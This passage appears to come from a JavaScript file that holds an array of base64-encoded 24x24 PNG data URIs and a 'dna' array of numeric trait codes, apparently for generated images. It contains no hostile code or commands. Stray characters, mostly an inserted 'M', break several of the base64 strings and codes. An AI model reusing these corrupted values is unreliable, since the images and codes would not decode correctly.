tiwfMd/bOIBkR6M6PIwMZLAhuU7/ickJPz/////fwEhGThGFk9ISPiPyyEwwIJPMsA9gkFQWBZFLCE7BSK3YidDgHsEQYcy4ZNMyE5huHEgDUXsxoE0hhsH0uAWkW0BsuHItIbDLDibGEvw+gAGYIZqOMxieBUTS4wWOMAZBwumzmHQcEiBBwkMvEOydMHUOeRbgGwJLrlRMAqGCQAAqg5OaOqkKqUAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAsElEQVR4nGNgGAWjYBQMHFiUa/9fQEjm/7cXD/4LCMn8X5RrD8fo4vjMYSLWwrjJBxnjJh9kJNWhODXAXJa39C5W+UnRyiiW4zIHrw/ylt5lODXfHUXs1Hx3hlPz3XFaTDQQEJL5f2tj8n8BIRkMfGtjMlyOUBywEGPZq5hYFL5Y4mIMn5FswaRoZQazxJ0Mp+a7MzxgeIUid8rM
ZncEscSdKPJBsAbIluORGwSgYJgAAKgZQgcRrsvIAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAvElEQVR4nGNgGAWjYBQMHFiUa/8fnU+MGDpgwicpICTz//////8JieEDLPgkJ0UrMwgKyzIICMn8z1t6Fy4uKCyL4UNcAK8P8pbeZTg13x1F7NR8d4ZT890ZkC0kywJkw9FpGJsYS/AGEQMDA4NZ4k4MNrqvKLKAgYGB4VVMLJwttmQx0YbjtWBStDKDWeJOhlPz3RkeMLyCi59yhrjeLHEnw6RoZYIWMBJSICAkgzW1fHj3hKDeUTAKqAMAx3ZFheDcRBgAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAlklEQVR4nGNgGAWjYBQMHFiUa/8fnU+MGDpM
gwif5HwoIieEDjLgkYC7LW3oXq/ykaGU4O27yQZzm4PVB3tK7DKfmu6OInZrvznBqvjtOi4m2ANlwdBrGJsYSvD6AAbPEnSg0KYAoCxgYGBhexcSSbDgDA4FIxhYHMGCWuBMe0fgiGacEDAgIyWBNkh/ePSGodxSMAuoAAHVOSFK9DxWBAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAlklEQVR4nGNgGAWjYBTQHDDikvj24sF/bOJcEgqM6HJcEgo4zWHCZ7uUlg2Dw10RBiktGxSLsYnjAgR9gMuQZ9eOwNkU+WDB1DkoYgumzmFYMHUOUa7HCwSEZP5vWL4DjmF8ZHEBIZn/uOKKKB/AQEJ2Cpx+FRNLkkPxxgG2IEK2FBYP+OKABZ/tz64dISqSR8EoGOIAAN4CTCbr/Hq5AAAAAElFTkSuQmCC", "data:image/png;base64M
,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAApElEQVR4nGNgGAWjYBQMHPj24sF/ASGZ/2ZHv/wXEJL5/+3FAzhGF8dnDhOxFnJJKDBySSgwkupQnBpgLpPSssEq/+zaERTLcZmD1wdSWjYMC6bOQRFbMHUOw4Kpc3BaTDQQEJL5v2H5jv8CQjIYeMPyHXA5QnHAQoxlr2JiUfhi2SkYPsMF8MYBtiCCgYTsFHg84IsDvD54du0IUZE8CkbBEAcAcgRU9PEX+mYAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAkUlEQVR4nO2SSw7DIAxEhyoHoHRLbpaenq4qEXoDZ2WEGg2grLLw2/mDB48MGIYxxIcoPkQZ5RgPVhAR8SFKyakO1RwAlJxq7pLA87XOfHDY51hh1gIA+O0fOoduoKhFbfyf69EVKDmdLNB4VmSZaM
fpu75OICpSc4Bx1iKMXw2hrvTlUWh+yK2ktcpdWMIzbcABUYGLjuXSxEwAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAhUlEQVR4nGNgGAWjYBTQHDDikhCTVPtPrCGvnt/CaQ4TPo0eTmkML5/dJFocGyDog18/v2GVZ2PngrPJ9sGvn98YHk8TRxF7PE2c4fE0cZwWE20BsuHoNIxNjCUshBTIZr3EYKP7iiwL2Ni5GGSzXuI0TDbrJUo8kGwBsiW45EbBKBgmAABB9DOFXgz5OAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAuklEQVR4nGNgGAWjYBTQHDDiktiwfMd/QpoDIj0YNyzf8T8g0gOnOSz4DNiwcwXD/PnzGQSFZRGG+rkwzJ8/n4GRkM
RGnociACa8L3SNQDGdgYGDYsGkPhhjZFiRkpzDcOJCGInbjQBrDjQNpDAJCMv+JCUacQEBI5v+LS03/cdEwNiFL8PoA5mINh1kMDAwMDBoOszB8RAjgjOQFU+cwaDikwIMEHWg4zGJYMHUO+RYgW4JLbhSMgmECAPVeS0khcwBcAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAj0lEQVR4nGNgGAWjYBQwYhM0NDT+jy5WX9bK0NhVjdOg8+fPYjWLCZ/t65fMhRtu09DOUF/Wik85VoDXgsCYZDjb7PdjnA4g2QJkjbu/8TAwMDAwnGKVReGjO4AkC2AakQ070lCJYSm6Y7ABFnySrlxfGBgYGBgOMVYzsHi3MPzZWsNgx4XdMaNgFIyC4QwABsoov2pU6ykAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAM
AANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAnElEQVR4nGNgGAWjYBTQHDDikhCTVPuPTfzV81uM6PIwMWyACZ/tHk5pDC+f3WTwcEpDsTguuuc/ujguQNAHv35+wyrPxs4FZ5Ptg18/vzE8niaOIvZ4mjjD42niOC0m2gJkw5Fp2ayXcDYxluD1AQzADJXNesnwKiaWGC1wgDcOsAURsqWweMAXByz4bGdj54K7HpvcKBgFwwQAAIUEQu1yHFNrAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAoUlEQVR4nGNgGAWjYBQMHPj24sF/dD4xYuiACZ+kgJDMf7OjX/4TEsMHGHFJwFwmpWWDVf7ZtSNwNpeEAk5z8PpASsuGYcHUOShiC6bOYVgwdQ5Oi4m2ANlwdBrGJsYSFkIKErJTMNjovqLIAgYGBoZXMbFwttiSxUQbzsBAIJKxxQEM
MJGSnwCMaXyTjlIABASEZrEnyw7snBPWOglFAHQAAv+ZF/77guVEAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAmUlEQVR4nGNgGAWjYBQMHPj24sF/BgYGBgEhmf8wPgzDxJH5uAATPkkBIZn/z64dgVuCLi6lZUPQoYyEfIDLkGfXjsDZXBIKOM3B6wMpLRuGBVPnoIgtmDqHYcHUOUS5Hq8FyIaj0zA2MZbg9QEMJGSnMLyKiWVIyE4hRjkKwBsH2III2VJYPOCLAxZ8tuNLKciRPApGwRAHALgUS2aEIPIIAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAbklEQVR4nGNgGAWjYNADRmyChobG/yk1+Pz5s4wMDAwMTJQaRAiQZMG5TQuobwGyoUZ+CSRM
bjNUCXIYS6wNY+OO0ABfA5QNchpNsAS4fGPkl4JTDmkwZGBBJ9ZzLWYRBe4wJOgLdB6NgFIwCOgAA+iIiR03z0jgAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAArUlEQVR4nGNgGAWjYBQMHPj24sF/MUm1/2ZHv/yH8b+9ePBfQEgGQwyfOUy0digjLgmYy6S0bLDKP7t2BM7mklDAaQ5eH0hp2TAsmDoHRWzB1DkMC6bOwWkx0UBASOb/huU7/gsIyWDgDct3wOUIxQELMZa9iomFs8WWLKbM5TAASzHovkB3PUU+eHbtCNZ4SMhOQYlkfABn7CMDASEZFFd+ePeEKH2jYBRQBwAAV29oRGJRiCMAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAnElEQVRM
4nGNgGAWjYBTQHDDikliUa/+fWEPiJh/EaQ4TPo15S+8yxE46QFAMH2DBJzkpWplBUFgWQ1xQWJZhUrQyURYQ9MGp+e4oYqfmuzOcmu/OkLf0LlEW4AQCQjL/b21M/o+LhrEJxRVeH8BcbJa4k4GBgYHBLHEnho8IAZxxMClaGW4gNkPNEncSFQ8EIxnmemxyo2AUDBMAAF+FP5PdPgl2AAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAi0lEQVR4nO2TOxKAIAwFE08g2uL9D4Yt4g2ehRMHUeJnLCyyDTMJZMOPyDAM1pJt50FElGJYJzMzAGyLmdX1qgAAXD/sYiLK4ykGVdRcdSBFBdcPh5hG1SzHc4d5Gr/bQYrh0Q5UgRQqxzPxK4Egl1pe+hPRAQBoO48aeU6roz7TWtdl53f+g2H8mAU9Dl+cz21hXgAAAABJRU5ErkJggg=="M
, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAuElEQVR4nGNgGAWjYBQMHNiwfMd/dD4xYuiABZ/k/////zMwMDAICssyJGSnoIgxMjIyEuNQJnySG1fsZBAUlkURExSWZRAUlsXwIVkWJGSnMNw4kIYiduNAGsONA2lwH5FtAbLh6DSMTYwleH0AAxoOs1BoUgBRFjAwMDC8iokl2XAGBgYGnClhw/Id/7HFAQxoOMxiWDB1DgMDAwNDQKQHTnMIJjUBIRmsqeXDuydEJdNRMAooBwCMZ0L7a6iC7gAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAArElEQVR4nGNgGAWjYNADRmSOoaHxf0oNPH/+LIqZLIQ0PCk+i1VcpteYKAuZ8Elurz7LcJkDYthlDgYU9vZq7BajA5xBdNqVOM
ANMd6P6hOgg+rmWB8624VNnOPLpJgabgYGBgYEPvwNwWmDDp86Q+9aDgYGBgSH3LQODjTADlO3BsJIBIj5ZeAd+0xmISEUXAhdj1WiwPharOHoQMaIroDSpolswCkbBKKADAACxXDGiX6cGegAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAmklEQVR4nGNgGAWjYBTQHDDikliUa/8fm3jc5IOM6PIwMWyACZ/teUvvMsROOsCQt/QuisUCQjL/0cVxAYI+wGXIpGhlOJsiH5ya744idmq+O8Op+e5EuR6vBciGI9NmiTvhbGIswesDGIAZapa4k+FVTCwxWuCABZfEpGhlBrPEnfAggYEHDK/gliHHA8kWIFuCS24UjIJhAgDsHkJICQzwDwAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUM
gAAABgAAAAYCAYAAADgdz34AAAAhElEQVR4nO2SSQ7AIAhFoSdQu9X7H8xuO9yAboqxpqDtrglvxZD8DwQAwzC60EWvJoGasJ9Tyfc1l7itI6KoM0kNFmFhzv2cRLMnRGcX4tAJAACObXm/AVNPy3lb01AN9jXfTlILj5oMbVDf/6n/CSIiFyJJ1D1NR31Taep2cu1NDeMHnNK+a05uzab+AAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAj0lEQVR4nGNgGAWjYBTQHDDikhCTVPtPrCGvnt/CaQ4TPo0eTmkML5/dJCiGDxD0wa+f37DKs7Fzwdlk++DXz28Mj6eJo4g9nibO8HiaOE6LibYAZrhs1ku4JciWEWsJXh/ADJLNesnAwMAAp0kBeOMAWxDBgGzWS3g84IsDFny2s7Fz4XQ1ciSPglEwxAEAeCA6Uh0MgAQAAAAASUVORK5M
CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAkElEQVR4nGNgGAWjYBTQHDDikvj24sF/Yg3hklDAaQ4TPo1SWjYMDndFCIrhAwR9IKVlg1X+2bUjcDZFPlgwdQ6K2IKpcxgWTJ2D02KigYCQzP8Ny3f8x0XD2ITiCq8PYC5OyE5hYGBgYEjITsHwESGANw6wBREMJGSnwOMBXxyw4LP92bUjREXyKBgFQxwAAMAeQ5fx5yXcAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAt0lEQVR4nGNgGAWjYBQMHNiwfMd/BgYGhoSEhP8wPgwnJCT8h8nDaLIsSEhI+P/txYP/AkIyKPjbiwdwSwhZwIRPMsA9gkFKywZDXErLhiHAPYIoh+K1ICE7heHGgTQUsRsH0hhuHEhjSMhOIcoM
CnEBASOb/i0tN/3HRMDZFQQQDGg6zUGhSAAsxipCDiVRLcFqwYOocBg0H7HEAs2jB1DkELWAkpEBASAZrGH9494Sg3lEwCqgDAK54Z4QUPzAnAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA20lEQVR4nO2SsQrCMBRFb/2CNq5172e46eiooBCwdPEv/Axx6BbH6BTBod/QqTg7iIO4dbwOolhR0wpuORDyeAn3hPAAh8Pxd7xPB1oZ6u0KAJCmqaeVIQAMRn1PSnmre0Pce43NWhlqZUiSvggfS0pJkny+8y2nZRMF7U5VvNkhaHdgC64lkLMYRZZUekWWoMgSyFlcJ/+z4Dn8db/XdSTWL4q6C4hlidN4ArEsEXUX9mc3EfwNrQx9EXK/nlam6JjPeczn9EXIOlNknV9fhG8DLudD89l3OH7iCmCSZR5PJ/kJAAAAAElFTkSuQmCC"M
, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAnUlEQVR4nGNgGAWjYBQMHFiUa/+fgYGBQUBI5j+MD8MwcWQ+LsCET1JASOb/pGhluCXo4nlL7xJ0KAs+SWRDsBk2KVqZoAV4fZC39C7DqfnuKGKn5rsznJrvTpTr8VqAbDg6DWMTYwleH8CAWeJOhlcxsQxmiTuJUY4CGHFJLMq1/48tiJAthcVB3OSDOM0hGMm4XE1MBI+CUTBEAAB01ENkPKc3SAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAvklEQVR4nGNgGAWjYBQMHFiUa/9fQEjm///////D+LjE8JnDRGuHsuCTnBStzCAoLMsgICTzP2/pXbi4oLAsAyGXwwBeH+Qtvctwar47itip+e4Mp+a7MyBbSBYQEJL5f2tj8M
n8BIRkMfGtjMlyOkE/wBhEMvIqJhbPFliwmyaE4LZgUrcxglriT4dR8dwaxRIShsCAzS9zJMClamXwL0C1BBsQazsDAwMBIjCIBIRmUcP7w7glR+kbBKKAOAABbZ1Bu9wSKbgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAm0lEQVR4nGNgGAWjYBTQHDDikliUa/8/bvJBxkW59v/R5dDF4yYfxGkOEz7bBYRk/sdOOkC0ODbAgk9yUrQyg6CwLFa5xXkORFmA1wd5S+8ynJrvjiJ2ar47w6n57gx5S+9SZgGy4eg0jE2MJXiDiIGBgcEscScGG91XZFkwKVqZwSxxJ07DzBJ3MkyKVibfAmRLcMmNglEwTAAA9gc2UkjDIZAAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCM
AYAAADgdz34AAAAl0lEQVR4nGNgGAWjYBTQHDDikvj24sF/LgkFxm8vHvxHl0MX55JQwGkOEz7bBYRk/jvcFSFaHBtgwSf57NoRBiktDQYpLHIHlN8QZQFeH0hp2TAsmDoHRWzB1DkMC6bOYZDSsqHMAmTD0WkYmxhL8AYRAwMDQ0J2CgYb3VdkWQAJf8wgQrbs2bUj5FuAbAkuuVEwCoYJAABY9javMvmYbgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAiElEQVR4nO2SsQ6AIAxED+MHIK74/x+GK+If1KkJGk7UyaFvIemVXq4AGIbRxYcoPkTp1RgDE0TkNMSHKKz2yWCaFwBAyampa137GI4JT1cAAPu20jk0gXJNUHKiqV4b6KDr2TJmjL2Gesetdyk5wTm6IY7+GEat3c2h1nqR/ZI6hfsUwTB+wwE6OGZ9+cPHMAAAAABM
JRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAj0lEQVR4nGNgGAWjYBTQHDDikvj24sF/Yg3hklDAaQ4TPo1SWjYMDndFCIrhAwR9IKVlg1X+2bUjcDZFPlgwdQ6K2IKpcxgWTJ2D02KigYCQzP8Ny3f8R6eRsYCQzH9CcYXXBzAXJ2SnMDAwMMBpUgDeOMAWRDCQkJ0Cjwd8ccCCz/Zn144QFcmjYBQMcQAAcF5Dl6NvikEAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAiUlEQVR4nGNgGAWjYBTQHDDikhCTVPtPrCGvnt/CaQ4TPo0eTmkML5/dJCiGDxD0wa+f37DKs7Fzwdlk++DXz28Mj6eJo4g9nibO8HiaOE6LibYAZrhs1ku4JTA+jE2MJXh9gG4osmXM
EArxxgC2IYEA26yU8HvDFAQs+29nYueCuxyY3CkbBMAEAzDU9UjNb6fMAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAqklEQVR4nGNgGAWjYBQMHBCTVPsfF93z///////jonv+i0mqwTG6OD5zmIi18NXzW4yvnt9iJNWhODXAXPbr5zes8mzsXCiW4zIHrw9+/fzGcGq+O4rY42niDI+nieO0mGgLfv38xvB4mjiDWeJOFHHZrJdwi4ixhIUYV7yKiUXhi2UtZng8TZwYrfjjAOYLbEA26yU8HvDFAV4fsLFzwYMEm9woGAXDBAAACwdKXWyz1ocAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAiElEQVR4nO2SMRLDIAwED78AcAv/fxhpCf6BXCmjEF+M
cocuMtkMHdwgEOI5zS8xFYi5yV2NsTBCRN5OYi7DaUkDaKwBg9Pah2ZruYwQm/PoEAHA8H9SHdqDMHYzeLrtaChi9Ie31Zajrq+ClgNnUhll9CZ0YhtW++dDP0YNsSuzNQwjUx3H+gBNQjmm5TBEnVgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAiElEQVR4nO2SSQ6AIAxFiydA3OLN9PS6MnG4AW4sIQ1tCXHZt4EW+j9DAQzDUEkfWo7DScLjNOf4Prc8p3nnHKvD4kPEgyYfYsK4lu+6gVZY8lw7qzNoxeXTYExzEqIBCtGxZtxlgOCnlp/batRkAABwLGvr1jZox1DKNUlH7V+um6TOMYx/eQH+rHvJzbW5+gAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADM
gdz34AAAAl0lEQVR4nO2SSw7CMAxEJxUHKEViVW4Gp6M3KyskPjcwmziKoo4dpC79NvEnGcuOgSAIXCTjxRjJEj6eLsX/vNZit/GUEtUZWEJFVFh9FmfQyuM0d40AAL7vx/8dKPVo1G9jFmYBFWrPrcKMg3ehnnE7f7WNP/YLAMDzeiv2ebn3PPERERmnWRh1ztLhvWXYNlmbEwT78gOGbmsW5RSspwAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAqElEQVR4nGNgGAWjYBQwElIgICTzf1K0MgMDAwND3OSDjIty7f/D5OImHySoH6cCmEF5S+8yMDAwMMAswSaGzyImQi54du0IiuG4xHABFkIKpLRsMMTyltoQbQFeH+Qtvctwar47itip+e4Mp+a7w4OJbAuQDUenYWxiLCEYBwwMDAxmiTtRaFIAzjiYFK3MYJa4Ex4k2CwlJM
h7wRjLMElxyo2AUDBMAAPYQPdaGK9McAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAn0lEQVR4nGNgGAWjYBQMHBCTVPvPwMDAEBfd8x/Gh2GYODIfF2DCJxkX3fN/x75ZcEvQxT2c0gg6lJGQD379/IZVno2dC85+9fwWTnPw+uDXz28Mj6eJo4g9nibO8HiaOE6LibYA2XB0GsYmxhK8PoAB2ayXDK9iYhlks14SoxwF4I0DbEGEbCksHvDFAQs+29nYuXC6GjmSR8EoGOIAAJb3RiAZTjgBAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAApUlEQVR4nGNgGAWjYBQMHBCTVPsfF93z//////9hfFxi+MxhorVDGXFJwFz26+c3rPJs7Fxw9qvnt3Cag9cHvM
35+Y3g8TRxF7PE0cYbH08RxWky0BTDDZbNeoojD+MRawkKMK17FxMLZYksWE6MFDvDGATZfwIJMNuslPB7wxQFeH7CxczHIZr3EiAdkwwkBnDYjAwEhGZS0/uHdE6L0jYJRQB0AAB9PSSjWTGGfAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAiklEQVR4nO2SQQ6AIAwEi/EBoFf8mb4eTyaIP6gXmwBSUG8mnQsJS3aXpgCCIDTBi9Ydh6oZm3ECAIDg3U2PNaUU68MKerBJwziEzIljX1mfnhNyctOndK0H+XiCd8WRfQogo/wsBX8KIMw4wTYvxTG9+U0CIqIeLHLEWs2nuqbUvkTcvLamgvADToEWZrJFA8C2AAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AM
AAAnElEQVR4nO2SQQoDIQxFv6UHsA505dysPV17M2c1YO0NMptGBodoWrrMA9F85SeGAIZhDPEhkg+RRprESbogIvIhUsmpmrIGACWnqv2U4DLNmgKH75x0oW0BALxfi+gj/oDhFu3jVuvRTVByOrSAY22Ss+bRervX8/X5OBThnNghGZ4Y3nkx+/P37p8ErZGk9XxUf2snqjc1hvF/Nq8DfFmKEQr3AAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAu0lEQVR4nO2SMQqDMBSGv5ZeQJzdPYZDoZ2KY7spiIvncREhbnVMnSo45Bjeph2kUkWbQOlQyLckJI/vf3kELBbLz9msXcjr/QEg25rwcJ7ezc7Cy3HVs9N1IIQgjmNk0w2y0x4hBLe61XYPsNUVOK43ygFk0+G4npFcGxBlCb1KJ2e9SulVSpQl3wW8y+fra28Soh0RgB8U9CrM
FDwqTcrOAKi9H4dIL/KCgykttwMdfNIQsj8FEbrH8CU9NPj2BVePzGwAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAApUlEQVR4nGNgGAWjYBQMHBCTVPvPwMDAEBfd8x/Gh+G46J7/MHkYTZYFcdE9/////w83EJcYPnMYCfng189vWOXZ2Lng7FfPb+E0hwmf7b9+fmN4PE0cRezxNHGGx9PEcVpMtAUww2WzXsItgfFhbGIswesDGIAZCqNJASzEKEIOJlItwRvJ2OIA2SJYROOLZJwSMCAgJIM1GX5494Sg3lEwCqgDALtbWI73DpZHAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAgklEQVR4nO2SMQ6AIAxFW0+AuOLN9PRsJsQj1KlYSQoKk0nfQvhM
N/m/aAhiG0cT5QM4Hamkak1YgInI+0JliNmUNAOBMMWtdAfOyPl6t3kINGDH9FMAjkv9S64Lny8gdlFrN59WI5D6ObR/vHuC+Ig1Zq/lgLUB2XyL3gIiqj2H8gAs6iHT6LpniNAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAoUlEQVR4nGNgGAWjYBQMHBCTVPuPzidGDB0w4ZOMi+75//////+ExPABRlwSMJf9+vkNqzwbOxec/er5LZzm4PXBr5/fGB5PE0cRezxNnOHxNHGcFhNtAbLh6DSMTYwlLIQUyGa9xGCj+4oiCxgYGBhexcTC2WJLFhNtOAMDgUjGFgcwIJv1Eh7R+CIZpwQMCAjJYE2SH949Iah3FIwC6gAAiPpGOtUXxUEAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAM
AABgAAAAYCAYAAADgdz34AAAAk0lEQVR4nGNgGAWjYBTQHDDikliUa/+fWEPiJh/EaQ4TPo15S+8yxE46QFAMH2DBJzkpWplBUFgWQ1xQWJZhUrQyURYQ9MGp+e4oYqfmuzOcmu/OkLf0LmUWwAw3S9wJtwTZMmItwesDmEFmiTsZGBgY4DQpAGccTIpWhrsePZhglhETDwQjGZeriY3kUTAKhgAAAAfSMragQqyCAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAnElEQVR4nGNgGAWjYBQMHPj24sF/dD4xYuiACZ+k2dEv/82OfvlPSAwfYMQlAXOZlJYNVvln147A2VwSCjjNwesDKS0bhgVT56CILZg6h2HB1Dk4LSbaAmTD0WkYmxhL8PoABhKyU1BoUgBRFjAwMDC8iokl2XAGBgKRjC0OYCAhOwUe0fgiGacEDAgIyWBNkh/ePM
SGodxSMAuoAAC6DRi+e9RSWAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA4klEQVR4nO2SMQrCQBBFX0QMWInFhoBpcxCL6B2iARuL1B4jdQobQfEOVpYWHsE2gsRCrARtxiqiYqJR7PY1O/tnmb+zO6DRaP6OkZdQtivd9hCA6XxkKNsVgP1uYwR+JACL5ZhMK+2sbFeU7YqISOBHku0DPxIRkfszX3cAcDmfXuZrZv0WF3VQKXK/nE8ksfWgJbFFElu5xh8b3Bd/XrP4E5PCDgCcMMVceex7fcyVhxOm769dxuBXqnmJmlnHCVPWkw5qMLvp2TM5Yfrw0Xm8nd9Gs/VyDI+HbfnZ12i+4gooXFMtsDUhyQAAAABJRU5ErkJggg=="]
            var dna = ["090150047098112071000", "090144027100108000000",M
 "090144011102112067000", "090169024000111060000", "090185010096115078000", "090185042099115065000", "090148012000000057000", "090134018104111068000", "090122011000115075000", "090144014103108059000", "090122038095116075000", "090123037103114051000", "090153026096117055094", "090123038000000087000", "090151033100107061094", "090169037101113069000", "090125021099115080093", "090169014099000075000", "090144043000000078000", "090169027095111065000", "090123043097111070000", "090151032096116066000", "090125006096115051M
000", "090157049000000054000", "090161022096113055000", "090153028102105073000", "090153037000117077000", "090161009098110085000", "090144015096114071000", "090125005098105079000", "090144008098107077000", "090169018099106078094", "090151025100110076000", "090153007095114074000", "090169033100111055000", "090123047097117072000", "090167005103105000000", "090134033000000081000", "090169044098114051000", "090151033103106062000", "090167013097106084000", "090125045000116081000", "090134044095000059000", "0901530350981M
06072000", "090150040000111085000", "090169040099115080094", "090153029100112000094", "090144046095111085000", "090150048095110078000", "090167005098112086000", "090150050098114080000", "090167010100109058093", "090125044104111085093", "090167026101116081093", "090151004097000070000", "090123044103110052094", "090185025095105067000", "090123046000113084000", "090169035102108079000", "090185014000111085000", "090143030099109063000", "090125007095113061000", "090151033099111061000", "090167017098115066000", "09016104M
5098116063000", "090185040103107084000", "090144015000000054000", "090157028000000057000", "090143021096110068000", "090122039101107070000", "090148044000000082000", "090144037102107059000", "090122049101115087000", "090144028101108072000", "090150044104113072000", "090125030102111051000", "090161025096110051000", "090144017101115065093", "090185015098112084000", "090151021101107000000", "090161044098000083000", "090167034099113083000", "090153045096109064000", "090123046000113072000", "090125014099112063000", "090M
148018000000057000", "090123044102000052000", "090169025104116078000", "090123015000000059000", "090134028099114055000", "090150038102106056000", "090123048101112079000", "090167002098107059000", "090123006097110070000", "090123003104114076000", "090134020102106075000", "090152036000000054000", "090169037000116052000", "090185001000000077000", "090122017102105085000", "090144015000000057000", "090123042103109073000", "090185018099114085000", "090123002103000061000", "090153034098113081094", "090185025102105075000",M
 "090144011095117076093", "090152011000000057000", "090134008101111071000", "090143011103117083094", "090125026104112053000", "090122004096111079000", "090122047096000055000", "090169005000000057000", "090185008103111066000", "090125027099111086000", "090150048099117079000", "090150016097113070000", "090153003098112075000", "090161031097110056000", "090143017000112064000", "090144001103117067093", "090152035000000057000", "090125031095114079000", "090185007099116077000", "090143013098117065000", "090148033000000082M
000", "090125001095108078000", "090125018104116056000", "090125044099107087000", "090134021099117072094", "090151028097110062000", "090169001102117079000", "090153026097113067000", "090144029104109000094", "090167034098110065094", "090134028102113000000", "090148045000000054000", "090167008098106084000", "090153045104110087000", "090143050095117062000", "090148034000000054000", "090161020000117071000", "090151031102109073000", "090150027102109071000", "090123036097105071000", "090185016102108074000", "0901430011041M
